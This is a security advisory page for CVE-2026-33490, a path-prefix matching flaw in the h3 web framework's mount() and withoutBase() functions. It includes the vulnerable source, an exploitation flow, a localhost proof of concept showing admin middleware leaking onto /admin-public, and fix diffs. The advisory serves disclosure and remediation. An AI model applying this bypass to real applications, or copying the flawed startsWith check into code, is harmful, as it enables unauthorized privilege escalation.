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CVE-2026-33490

LOW
Use of Incorrectly-Resolved Name or Reference (CWE-706)
2026-03-20 https://github.com/h3js/h3 GHSA-2j6q-whv2-gh6w
3.7
CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY
3.7 LOW
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

Lifecycle Timeline

3
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
Analysis Generated
Mar 20, 2026 - 21:01 vuln.today
CVE Published
Mar 20, 2026 - 20:50 nvd
LOW 3.7

DescriptionGitHub Advisory

Summary

The mount() method in h3 uses a simple startsWith() check to determine whether incoming requests fall under a mounted sub-application's path prefix. Because this check does not verify a path segment boundary (i.e., that the next character after the base is / or end-of-string), middleware registered on a mount like /admin will also execute for unrelated routes such as /admin-public, /administrator, or /adminstuff. This allows an attacker to trigger context-setting middleware on paths it was never intended to cover, potentially polluting request context with unintended privilege flags.

Details

The root cause is in src/h3.ts:127 within the mount() method:

typescript
// src/h3.ts:122-135
mount(base: string, input: FetchHandler | FetchableObject | H3Type) {
  if ("handler" in input) {
    if (input["~middleware"].length > 0) {
      this["~middleware"].push((event, next) => {
        const originalPathname = event.url.pathname;
        if (!originalPathname.startsWith(base)) {  // <-- BUG: no segment boundary check
          return next();
        }
        event.url.pathname = event.url.pathname.slice(base.length) || "/";
        return callMiddleware(event, input["~middleware"], () => {
          event.url.pathname = originalPathname;
          return next();
        });
      });
    }

When a sub-app is mounted at /admin, the check originalPathname.startsWith("/admin") returns true for /admin, /admin/, /admin/dashboard, but also for /admin-public, /administrator, /adminFoo, etc. The mounted sub-app's entire middleware chain then executes for these unrelated paths.

A secondary instance of the same flaw exists in src/utils/internal/path.ts:40:

typescript
// src/utils/internal/path.ts:35-45
export function withoutBase(input: string = "", base: string = ""): string {
  if (!base || base === "/") {
    return input;
  }
  const _base = withoutTrailingSlash(base);
  if (!input.startsWith(_base)) {  // <-- Same flaw: no segment boundary check
    return input;
  }
  const trimmed = input.slice(_base.length);
  return trimmed[0] === "/" ? trimmed : "/" + trimmed;
}

The withoutBase() utility will incorrectly strip the base from paths that merely share a string prefix, returning mangled paths (e.g., withoutBase("/admin-public/info", "/admin") returns /-public/info).

Exploitation flow:

  1. Developer mounts a sub-app at /admin with middleware that sets event.context.isAdmin = true
  2. Developer defines a separate route /admin-public/info on the parent app that reads event.context.isAdmin
  3. Attacker requests GET /admin-public/info
  4. The /admin mount's startsWith check passes → admin middleware executes → sets isAdmin = true
  5. The middleware's "restore pathname" callback fires, control returns to the parent app
  6. The /admin-public/info handler sees event.context.isAdmin === true

PoC

javascript
// poc.js - demonstrates context pollution across mount boundaries
import { H3 } from "h3";

const adminApp = new H3();

// Admin middleware sets privileged context
adminApp.use(() => {}, {
  onRequest: (event) => {
    event.context.isAdmin = true;
  }
});

adminApp.get("/dashboard", (event) => {
  return { admin: true, context: event.context };
});

const app = new H3();

// Mount admin sub-app at /admin
app.mount("/admin", adminApp);

// Public route that happens to share the "/admin" prefix
app.get("/admin-public/info", (event) => {
  return {
    path: event.url.pathname,
    isAdmin: event.context.isAdmin ?? false,  // Should always be false here
  };
});

// Test with fetch
const server = Bun.serve({ port: 3000, fetch: app.fetch });

// This request should NOT trigger admin middleware, but it does
const res = await fetch("http://localhost:3000/admin-public/info");
const body = await res.json();
console.log(body);
// Actual output: { path: "/admin-public/info", isAdmin: true }
// Expected output: { path: "/admin-public/info", isAdmin: false }

server.stop();

Steps to reproduce:

bash
# 1. Clone h3 and install
git clone https://github.com/h3js/h3 && cd h3
corepack enable && pnpm install && pnpm build
# 2. Save poc.js (above) and run
bun poc.js
# Output shows isAdmin: true - admin middleware leaked to /admin-public/info
# 3. Verify the boundary leak with additional paths:
# GET /administrator → admin middleware fires
# GET /adminstuff   → admin middleware fires
# GET /admin123     → admin middleware fires
# GET /admi         → admin middleware does NOT fire (correct)

Impact

  • Context pollution across mount boundaries: Middleware registered on a mounted sub-app executes for any route sharing the string prefix, not just routes under the intended path segment tree. This can set privileged flags (isAdmin, isAuthenticated, role assignments) on requests to completely unrelated routes.
  • Authorization bypass: If an application uses mount-scoped middleware to set permissive context flags and other routes check those flags, an attacker can access protected functionality by requesting a path that string-prefix-matches the mount base but routes to a different handler.
  • Path mangling: The withoutBase() utility produces incorrect paths (e.g., /-public/info instead of /admin-public/info) when the input shares only a string prefix, potentially causing routing errors or further security issues in downstream path processing.
  • Scope: Any h3 v2 application using mount() with a base path that is a string prefix of other routes is affected. The impact scales with how the application uses middleware-set context values.

Recommended Fix

Add a segment boundary check after the startsWith call in both locations. The character immediately following the base prefix must be /, ?, #, or the string must end exactly at the base:

Fix for src/h3.ts:127:

diff
 mount(base: string, input: FetchHandler | FetchableObject | H3Type) {
   if ("handler" in input) {
     if (input["~middleware"].length > 0) {
       this["~middleware"].push((event, next) => {
         const originalPathname = event.url.pathname;
-        if (!originalPathname.startsWith(base)) {
+        if (!originalPathname.startsWith(base) ||
+            (originalPathname.length > base.length && originalPathname[base.length] !== "/")) {
           return next();
         }

Fix for src/utils/internal/path.ts:40:

diff
 export function withoutBase(input: string = "", base: string = ""): string {
   if (!base || base === "/") {
     return input;
   }
   const _base = withoutTrailingSlash(base);
-  if (!input.startsWith(_base)) {
+  if (!input.startsWith(_base) ||
+      (input.length > _base.length && input[_base.length] !== "/")) {
     return input;
   }

This ensures that /admin only matches /admin, /admin/, and /admin/... - never /admin-public, /administrator, or other coincidental string-prefix matches.

AnalysisAI

The h3 web framework contains a path-matching vulnerability in its mount() method that fails to enforce path segment boundaries when checking if requests fall under a mounted sub-application's prefix. This allows attackers to trigger middleware intended for a path like /admin on unrelated routes such as /admin-public or /administrator, potentially polluting request context with unintended privilege flags and leading to authorization bypass. A proof-of-concept is available demonstrating context pollution across mount boundaries, and the vulnerability affects all h3 v2 applications using mount() with prefix-vulnerable path configurations.

Technical ContextAI

The h3 framework (npm package h3, affected versions npm:h3) implements the mount() method in src/h3.ts by using a simple String.startsWith() check to determine whether incoming requests belong to a mounted sub-application. This design flaw—classified under CWE-706 (Use of Incorrectly-Resolved Name or Reference)—fails to verify that the character immediately following the base prefix is a path segment delimiter (/) or end-of-string. A secondary instance exists in the withoutBase() utility function (src/utils/internal/path.ts:40), which performs the same flawed string prefix matching when stripping the base from paths. The root cause stems from treating path matching as simple string containment rather than enforcing hierarchical path segment boundaries, allowing coincidental prefix matches to trigger middleware and manipulate request context across logical application boundaries.

RemediationAI

Upgrade the h3 package to the patched version released by the h3 project team (exact version number to be confirmed via the GitHub advisory). The recommended code fix is to add a path segment boundary check after the startsWith() call in both src/h3.ts:127 and src/utils/internal/path.ts:40, ensuring that the character immediately following the base prefix is a forward slash (/) or that the string ends exactly at the base boundary. If immediate patching is not possible, audit all mounted sub-applications in your codebase to identify routes that share string prefixes with mount bases (e.g., /admin with /admin-public), and consider restructuring paths or implementing explicit path validation middleware to prevent unintended middleware execution. Until patching is available, enforce strict path-based access controls at the application layer rather than relying solely on mount-scoped context flags. See https://github.com/h3js/h3 for patch details and https://github.com/advisories/GHSA-2j6q-whv2-gh6w for the security advisory.

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CVE-2026-33490 vulnerability details – vuln.today

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